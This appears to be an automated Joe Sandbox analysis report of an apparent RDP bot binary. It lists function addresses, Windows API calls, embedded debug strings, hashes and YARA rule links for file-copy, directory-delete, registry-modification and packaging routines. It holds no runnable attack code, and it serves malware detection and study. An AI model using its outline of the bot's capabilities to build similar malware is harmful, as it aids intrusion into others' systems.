Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: ServiceStatus
String ID:
API String ID: 3969395364-0
Opcode ID: 4993fdc76b1177e06be1b464f55a433b82611d2e99cbe8385cbffbaa458d3ac6
Instruction ID: 7c90a9bd2b75c2c7c210778fb8323c47bc095dcd4787dafc285b9599e8a76f00
Opcode Fuzzy Hash: 4993fdc76b1177e06be1b464f55a433b82611d2e99cbe8385cbffbaa458d3ac6
Instruction Fuzzy Hash: 7FD06775D1960285E7149F4DEA85A642670BBBD741B909436E30C92230DE2C6175A700

Function 00007FF6BE0376D2 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

rand_s.MSVCRT ref: 00007FF6BE0376E3

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: rand_s
String ID:
API String ID: 863162693-0
Opcode ID: 34b79ae6e1dd47e5b081b7fbe00c12fbd074ba990cf07bcb48e6a06ddf1fcfa5
Instruction ID: b59c1da0986ae77e5bed2b1d34415447035f57f9dd87c0ff1ad5518bf61ef7b9
Opcode Fuzzy Hash: 34b79ae6e1dd47e5b081b7fbe00c12fbd074ba990cf07bcb48e6a06ddf1fcfa5
Instruction Fuzzy Hash: 67C04C36A18540CAD730DB28E8457597770F798308FD04211E65D86664CF3CD62FCF04

Function 00007FF8B9155A47 Relevance: 1.3, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF8B9155A55

Memory Dump Source

Source File: 00000016.00000002.3158112398.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.3158091881.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158135563.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158157688.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158178663.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158210121.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: 7abd05a5a67c31e03c5b12fe05f629d692a795e69a910426a5662404033e003a
Instruction ID: 3d5bc5f1e61b4b7914237302588f4b708a614d2a2b3fff146f4abbe661271ea4
Opcode Fuzzy Hash: 7abd05a5a67c31e03c5b12fe05f629d692a795e69a910426a5662404033e003a
Instruction Fuzzy Hash: 13C02B90F1828283FF08AF7ABCD203402209FDC780F001038DB5E43392CE2CA8D4A300

Non-executed Functions

Function 00007FF6BE03737B Relevance: 6.3, Strings: 5, Instructions: 43COMMON

Download Yara Rule

Strings

[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF6BE037405, 00007FF6BE037435
(data != NULL), xrefs: 00007FF6BE0373F7
crc32, xrefs: 00007FF6BE0373FE, 00007FF6BE03742E
(len > 0), xrefs: 00007FF6BE037427
H:/Projects/rdp/bot/codebase/utils.c, xrefs: 00007FF6BE0373F0, 00007FF6BE037420

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID:
String ID: (data != NULL)$(len > 0)$H:/Projects/rdp/bot/codebase/utils.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$crc32
API String ID: 0-3120737415
Opcode ID: 0155b2cfceccd6f71945aa0cab0ff097f3c2f2bdf7a7bcf957e5c8000f7d7100
Instruction ID: f53c9121e9b56890ce6b2ba006886907d22b5c09e9b5c799a60fb2d236a250a3
Opcode Fuzzy Hash: 0155b2cfceccd6f71945aa0cab0ff097f3c2f2bdf7a7bcf957e5c8000f7d7100
Instruction Fuzzy Hash: 8E113AA1E0858781EA20DB189901BF92B71FF79345F845633F74DD62A4CF3CA22AD350

Function 00007FF6BE0332E7 Relevance: 49.3, APIs: 16, Strings: 12, Instructions: 270stringCOMMON

Download Yara Rule

APIs

_mbscpy.MSVCRT ref: 00007FF6BE033342
strlen.MSVCRT ref: 00007FF6BE03334A
strlen.MSVCRT ref: 00007FF6BE03336B
strlen.MSVCRT ref: 00007FF6BE03337D
strcmp.MSVCRT ref: 00007FF6BE033425
strcmp.MSVCRT ref: 00007FF6BE03343D
_mbscat.MSVCRT ref: 00007FF6BE03349D
strlen.MSVCRT ref: 00007FF6BE0334A5
_mbscpy.MSVCRT ref: 00007FF6BE03358B
strlen.MSVCRT ref: 00007FF6BE033593
strlen.MSVCRT ref: 00007FF6BE0335B5
_mbscat.MSVCRT ref: 00007FF6BE0335CE
_mbscpy.MSVCRT ref: 00007FF6BE0335E1
strlen.MSVCRT ref: 00007FF6BE0335E9
strlen.MSVCRT ref: 00007FF6BE03360B
_mbscat.MSVCRT ref: 00007FF6BE033627

Strings

NULL, xrefs: 00007FF6BE0337DF, 00007FF6BE0337E8
[I] (%s) -> Filtered(f_src=%s,flt=%s), xrefs: 00007FF6BE0334D5
[E] (%s) -> Failed(src=%s,dst=%s,err=%08x), xrefs: 00007FF6BE03378D
(src != NULL), xrefs: 00007FF6BE0334F5
fs_dir_copy, xrefs: 00007FF6BE0334CE, 00007FF6BE0334FC, 00007FF6BE033527, 00007FF6BE03363A, 00007FF6BE033786, 00007FF6BE0337F7
*, xrefs: 00007FF6BE033382
[D] (%s) -> Copy(f_src=%s,f_dst=%s), xrefs: 00007FF6BE033641
[I] (%s) -> Done(src=%s,dst=%s), xrefs: 00007FF6BE0337FE
(dst != NULL), xrefs: 00007FF6BE033520
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF6BE033503, 00007FF6BE03352E
|, xrefs: 00007FF6BE0334AA
H:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF6BE0334EE, 00007FF6BE033519

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: strlen$_mbscat_mbscpy$strcmp
String ID: (dst != NULL)$(src != NULL)$*$H:/Projects/rdp/bot/codebase/fs.c$NULL$[D] (%s) -> Copy(f_src=%s,f_dst=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(src=%s,dst=%s,err=%08x)$[I] (%s) -> Done(src=%s,dst=%s)$[I] (%s) -> Filtered(f_src=%s,flt=%s)$fs_dir_copy$|
API String ID: 4213218670-1088979775
Opcode ID: 31303a0d722c9ca0a8c953c8a7be86bf5be5c91f275c012ec7e42fc63c172e3d
Instruction ID: a2100e3330859bb10b15d6ef153e705db5cdec23cd8be277e22202b0b7e55db2
Opcode Fuzzy Hash: 31303a0d722c9ca0a8c953c8a7be86bf5be5c91f275c012ec7e42fc63c172e3d
Instruction Fuzzy Hash: FFC1D2A190C68791FA30861C9580BFA6261EFBD385F944132FB5D87689DF3CE526C701

Function 00007FF6BE037D26 Relevance: 47.5, APIs: 13, Strings: 14, Instructions: 268stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF6BE037D57
strlen.MSVCRT ref: 00007FF6BE037EB7

Strings

[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF6BE03808F, 00007FF6BE038125
mem_alloc, xrefs: 00007FF6BE038088, 00007FF6BE03811E
[I] (%s) -> Done(package=%s,entry=%s), xrefs: 00007FF6BE0381CD
(entry != NULL), xrefs: 00007FF6BE037E5D
[E] (%s) -> Failed to read the entry file(package=%s,entry=%s,err=%08x), xrefs: 00007FF6BE037DBE
%TEMP%, xrefs: 00007FF6BE038001
package_pack, xrefs: 00007FF6BE037DB7, 00007FF6BE037DF5, 00007FF6BE037E34, 00007FF6BE037E64, 00007FF6BE037E97, 00007FF6BE037F61, 00007FF6BE0381C6
[E] (%s) -> Failed(package=%s,entry=%s,err=%08x), xrefs: 00007FF6BE037DFC
(strlen(entry) <= 0xff), xrefs: 00007FF6BE037E90
[E] (%s) -> Failed to read the package file(package=%s,entry=%s,err=%08x), xrefs: 00007FF6BE037F68
(package != NULL), xrefs: 00007FF6BE037E2D
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF6BE037E3B, 00007FF6BE037E6B, 00007FF6BE037E9E
H:/Projects/rdp/bot/codebase/package.c, xrefs: 00007FF6BE037E26, 00007FF6BE037E56, 00007FF6BE037E89
NULL, xrefs: 00007FF6BE0381A8, 00007FF6BE0381B4

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: strlen
String ID: %TEMP%$(entry != NULL)$(package != NULL)$(strlen(entry) <= 0xff)$H:/Projects/rdp/bot/codebase/package.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed to read the entry file(package=%s,entry=%s,err=%08x)$[E] (%s) -> Failed to read the package file(package=%s,entry=%s,err=%08x)$[E] (%s) -> Failed(package=%s,entry=%s,err=%08x)$[E] (%s) -> Memory allocation failed(size=%llu)$[I] (%s) -> Done(package=%s,entry=%s)$mem_alloc$package_pack
API String ID: 39653677-2518748746
Opcode ID: 949658d4fd798da9842280da9114dfd77417bf04ea3326cb13adcef7fb841c5d
Instruction ID: 0021398fc663e8a9c72c15da32d068def3ac54da05e36e89303e8a91591d7594
Opcode Fuzzy Hash: 949658d4fd798da9842280da9114dfd77417bf04ea3326cb13adcef7fb841c5d
Instruction Fuzzy Hash: 80C17E61A0C74792EA209B59E940BBA6371FB78785F444132FB4DC7695EF3CE929C700

Function 00007FF6BE032CA9 Relevance: 44.0, APIs: 15, Strings: 10, Instructions: 226stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF6BE032CCE
RemoveDirectoryA.KERNEL32 ref: 00007FF6BE032CE6
GetLastError.KERNEL32 ref: 00007FF6BE032CF0

Part of subcall function 00007FF6BE0399E2: fwrite.MSVCRT ref: 00007FF6BE039A8E
Part of subcall function 00007FF6BE0399E2: fflush.MSVCRT ref: 00007FF6BE039A9A

_mbscpy.MSVCRT ref: 00007FF6BE032DBA
strlen.MSVCRT ref: 00007FF6BE032DC2
strlen.MSVCRT ref: 00007FF6BE032DDE
strlen.MSVCRT ref: 00007FF6BE032DEF
_mbscpy.MSVCRT ref: 00007FF6BE032E09
strlen.MSVCRT ref: 00007FF6BE032E11
strlen.MSVCRT ref: 00007FF6BE032E33
strlen.MSVCRT ref: 00007FF6BE032E47
strcmp.MSVCRT ref: 00007FF6BE032E89
strcmp.MSVCRT ref: 00007FF6BE032E9C
RemoveDirectoryA.KERNEL32 ref: 00007FF6BE032F45
GetLastError.KERNEL32 ref: 00007FF6BE032F53

Strings

fs_dir_delete, xrefs: 00007FF6BE032D07, 00007FF6BE032D32, 00007FF6BE032EB5, 00007FF6BE032F6A, 00007FF6BE033039, 00007FF6BE03309C
[E] (%s) -> RemoveDirectoryA failed(path=%s,recursive=%d,gle=%lu), xrefs: 00007FF6BE032D0E, 00007FF6BE032F71
NULL, xrefs: 00007FF6BE03308D
[D] (%s) -> Delete(path_wc=%s,f_path=%s), xrefs: 00007FF6BE032EBC
(path != NULL), xrefs: 00007FF6BE032D2B
[E] (%s) -> Failed(path=%s,recursive=%d,err=%08x), xrefs: 00007FF6BE033040
[I] (%s) -> Done(path=%s,recursive=%d), xrefs: 00007FF6BE0330A3
*, xrefs: 00007FF6BE032DF4
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF6BE032D39
H:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF6BE032D24

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: strlen$DirectoryErrorLastRemove_mbscpystrcmp$fflushfwrite
String ID: (path != NULL)$*$H:/Projects/rdp/bot/codebase/fs.c$NULL$[D] (%s) -> Delete(path_wc=%s,f_path=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(path=%s,recursive=%d,err=%08x)$[E] (%s) -> RemoveDirectoryA failed(path=%s,recursive=%d,gle=%lu)$[I] (%s) -> Done(path=%s,recursive=%d)$fs_dir_delete
API String ID: 1390976747-812936415
Opcode ID: 5af41fc07cfe3b547b3eefca12a7bd3cc9120f3de75317a8223d3097116fdf8d
Instruction ID: a485bbb59fd1c16e9eebd294560fcb056ba7943ae94302da873f4b3b251ecbc9
Opcode Fuzzy Hash: 5af41fc07cfe3b547b3eefca12a7bd3cc9120f3de75317a8223d3097116fdf8d
Instruction Fuzzy Hash: 2AA1BF21A0C68395F7309B0DA694BBA6361AFBD386F540132F74DC7699EE3CE5258701

Function 00007FF6BE035E29 Relevance: 35.2, APIs: 3, Strings: 17, Instructions: 201registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 00007FF6BE035E63
RegSetValueExA.ADVAPI32 ref: 00007FF6BE035F8C
RegCloseKey.ADVAPI32 ref: 00007FF6BE0360B5

Part of subcall function 00007FF6BE0399E2: fwrite.MSVCRT ref: 00007FF6BE039A8E
Part of subcall function 00007FF6BE0399E2: fflush.MSVCRT ref: 00007FF6BE039A9A

Strings

, xrefs: 00007FF6BE035FC6
[E] (%s) -> RegSetValueExA failed(root=0x%p,key=%s,param=%s,res=%lu), xrefs: 00007FF6BE035FBA
P, xrefs: 00007FF6BE036037
, xrefs: 00007FF6BE035E90
P, xrefs: 00007FF6BE03613A
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF6BE035F49
[E] (%s) -> RegOpenKeyA failed(root=0x%p,key=%s,res=%lu), xrefs: 00007FF6BE035E84
(root != NULL), xrefs: 00007FF6BE035ECB
[I] (%s) -> Done(root=0x%p,key=%s,param=%s), xrefs: 00007FF6BE0360D5
, xrefs: 00007FF6BE035EA1
(key != NULL), xrefs: 00007FF6BE035EFB
registry_set_value, xrefs: 00007FF6BE035E7D, 00007FF6BE035ED2, 00007FF6BE035F02, 00007FF6BE035F42, 00007FF6BE035FB3, 00007FF6BE0360CE
H:/Projects/rdp/bot/codebase/registry.c, xrefs: 00007FF6BE035EC4, 00007FF6BE035EF4
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF6BE035ED9, 00007FF6BE035F09
NULL, xrefs: 00007FF6BE035FE6, 00007FF6BE03619F, 00007FF6BE0361AB
P, xrefs: 00007FF6BE036040
, xrefs: 00007FF6BE035FCF

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: CloseOpenValuefflushfwrite
String ID: $ $ $ $(key != NULL)$(root != NULL)$H:/Projects/rdp/bot/codebase/registry.c$NULL$P$P$P$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$[E] (%s) -> RegOpenKeyA failed(root=0x%p,key=%s,res=%lu)$[E] (%s) -> RegSetValueExA failed(root=0x%p,key=%s,param=%s,res=%lu)$[I] (%s) -> Done(root=0x%p,key=%s,param=%s)$registry_set_value
API String ID: 716145365-253406552
Opcode ID: 339897347ac0a2d08e280087a9f43797e5de4f412196aaf13a554498f04ddd1d
Instruction ID: b33d82a945bc824071555de5929bd9e3700243361121cdab15756f1ceef97bbd
Opcode Fuzzy Hash: 339897347ac0a2d08e280087a9f43797e5de4f412196aaf13a554498f04ddd1d
Instruction Fuzzy Hash: 1A815025A0C70B82FA70DB4CB941B793260AF78744F444133FB5EC66A6EE5DE9A58342

Function 00007FF6BE035AC4 Relevance: 35.2, APIs: 3, Strings: 17, Instructions: 192registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 00007FF6BE035AF9
RegDeleteValueA.ADVAPI32 ref: 00007FF6BE035BFE
RegCloseKey.ADVAPI32 ref: 00007FF6BE035D27

Part of subcall function 00007FF6BE0399E2: fwrite.MSVCRT ref: 00007FF6BE039A8E
Part of subcall function 00007FF6BE0399E2: fflush.MSVCRT ref: 00007FF6BE039A9A

Strings

P, xrefs: 00007FF6BE035DAC
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF6BE035BDF
, xrefs: 00007FF6BE035C38
, xrefs: 00007FF6BE035B26
[E] (%s) -> RegDeleteValueA failed(root=0x%p,key=%s,param=%s,res=%lu), xrefs: 00007FF6BE035C2C
[E] (%s) -> RegOpenKeyA failed(root=0x%p,key=%s,res=%lu), xrefs: 00007FF6BE035B1A
P, xrefs: 00007FF6BE035CA9
(root != NULL), xrefs: 00007FF6BE035B61
[I] (%s) -> Done(root=0x%p,key=%s,param=%s), xrefs: 00007FF6BE035D47
, xrefs: 00007FF6BE035C41
(key != NULL), xrefs: 00007FF6BE035B91
H:/Projects/rdp/bot/codebase/registry.c, xrefs: 00007FF6BE035B5A, 00007FF6BE035B8A
P, xrefs: 00007FF6BE035CB2
registry_del_value, xrefs: 00007FF6BE035B13, 00007FF6BE035B68, 00007FF6BE035B98, 00007FF6BE035BD8, 00007FF6BE035C25, 00007FF6BE035D40
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF6BE035B6F, 00007FF6BE035B9F
NULL, xrefs: 00007FF6BE035C58, 00007FF6BE035E11, 00007FF6BE035E1D
, xrefs: 00007FF6BE035B37

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: CloseDeleteOpenValuefflushfwrite
String ID: $ $ $ $(key != NULL)$(root != NULL)$H:/Projects/rdp/bot/codebase/registry.c$NULL$P$P$P$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$[E] (%s) -> RegDeleteValueA failed(root=0x%p,key=%s,param=%s,res=%lu)$[E] (%s) -> RegOpenKeyA failed(root=0x%p,key=%s,res=%lu)$[I] (%s) -> Done(root=0x%p,key=%s,param=%s)$registry_del_value
API String ID: 3240087161-1648311886
Opcode ID: 62e57cf57ee6356259cec7bfbfd030278a47240fd7e32c31abfc4d8de364641a
Instruction ID: c8b6e7f5f892c62490877c7089d894523bbda77634a8b46633d72b3350786cb3
Opcode Fuzzy Hash: 62e57cf57ee6356259cec7bfbfd030278a47240fd7e32c31abfc4d8de364641a
Instruction Fuzzy Hash: 05816061A0C70F81FA34A74CA948B787260AF78745F540133FB9EC66F5FE6DA9A58301

Function 00007FF6BE031F9E Relevance: 31.7, APIs: 9, Strings: 9, Instructions: 177stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF6BE031FBD
CreateDirectoryA.KERNEL32 ref: 00007FF6BE031FDF
GetLastError.KERNEL32 ref: 00007FF6BE032030
_mbscpy.MSVCRT ref: 00007FF6BE032081
strlen.MSVCRT ref: 00007FF6BE032089
strlen.MSVCRT ref: 00007FF6BE0320A5
strlen.MSVCRT ref: 00007FF6BE0320B6
CreateDirectoryA.KERNEL32 ref: 00007FF6BE032127
GetLastError.KERNEL32 ref: 00007FF6BE032131

Strings

[E] (%s) -> CreateDirectoryA failed(path=%s,recursive=%d,gle=%lu), xrefs: 00007FF6BE032049
NULL, xrefs: 00007FF6BE032257
[E] (%s) -> CreateDirectoryA failed(path=%s,recursive=%d,ptr=%s,gle=%lu), xrefs: 00007FF6BE0320E0
fs_dir_create, xrefs: 00007FF6BE03200E, 00007FF6BE032042, 00007FF6BE0320D9, 00007FF6BE0321FF, 00007FF6BE032266
(path != NULL), xrefs: 00007FF6BE032007
[E] (%s) -> Failed(path=%s,recursive=%d,err=%08x), xrefs: 00007FF6BE032206
[I] (%s) -> Done(path=%s,recursive=%d), xrefs: 00007FF6BE03226D
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF6BE032015
H:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF6BE032000

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: strlen$CreateDirectoryErrorLast$_mbscpy
String ID: (path != NULL)$H:/Projects/rdp/bot/codebase/fs.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> CreateDirectoryA failed(path=%s,recursive=%d,gle=%lu)$[E] (%s) -> CreateDirectoryA failed(path=%s,recursive=%d,ptr=%s,gle=%lu)$[E] (%s) -> Failed(path=%s,recursive=%d,err=%08x)$[I] (%s) -> Done(path=%s,recursive=%d)$fs_dir_create
API String ID: 3496426206-906809513
Opcode ID: 1dee9945764b32408ed50647483c32612e7ab9312a1b55d70a295882058ca74b
Instruction ID: c1907cc194aac4839adce4957f9d40f415d340f37c7743d4cd4747370dfe3354
Opcode Fuzzy Hash: 1dee9945764b32408ed50647483c32612e7ab9312a1b55d70a295882058ca74b
Instruction Fuzzy Hash: EB716022E0C64791FB705B5DEA40BB91261AFBC784F540132FB4ED7696DE6CE8A5C301

Function 00007FF6BE034CA0 Relevance: 28.3, APIs: 3, Strings: 13, Instructions: 259registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32 ref: 00007FF6BE034D2D
RegOpenKeyExA.ADVAPI32 ref: 00007FF6BE034E6F
RegCloseKey.ADVAPI32 ref: 00007FF6BE0350AE

Strings

(subkey_len != NULL), xrefs: 00007FF6BE034E3A
[E] (%s) -> RegEnumKeyExA failed(root=0x%p,key=%s,enum_index=%lu,subkey_len=%llu,res=%lu), xrefs: 00007FF6BE034EEF
(root != NULL), xrefs: 00007FF6BE034DA4
registry_enum_key, xrefs: 00007FF6BE034D6F, 00007FF6BE034DAB, 00007FF6BE034DDB, 00007FF6BE034E0E, 00007FF6BE034E41, 00007FF6BE034E8A, 00007FF6BE034EE8, 00007FF6BE035098, 00007FF6BE035195
(subkey != NULL), xrefs: 00007FF6BE034E07
[E] (%s) -> RegOpenKeyExA failed(root=0x%p,key=%s,res=%lu), xrefs: 00007FF6BE034E91
[D] (%s) -> Step(root=0x%p,key=%s,enum_index=%lu,subkey=%s,subkey_len=%llu), xrefs: 00007FF6BE03519C
(key != NULL), xrefs: 00007FF6BE034DD4
H:/Projects/rdp/bot/codebase/registry.c, xrefs: 00007FF6BE034D9D, 00007FF6BE034DCD, 00007FF6BE034E00, 00007FF6BE034E33
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF6BE034DB2, 00007FF6BE034DE2, 00007FF6BE034E15, 00007FF6BE034E48
NULL, xrefs: 00007FF6BE03516D
[E] (%s) -> Failed(root=0x%p,key=%s,err=%08x), xrefs: 00007FF6BE034D76
[I] (%s) -> Done(root=0x%p,key=%s), xrefs: 00007FF6BE03509F

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: CloseEnumOpen
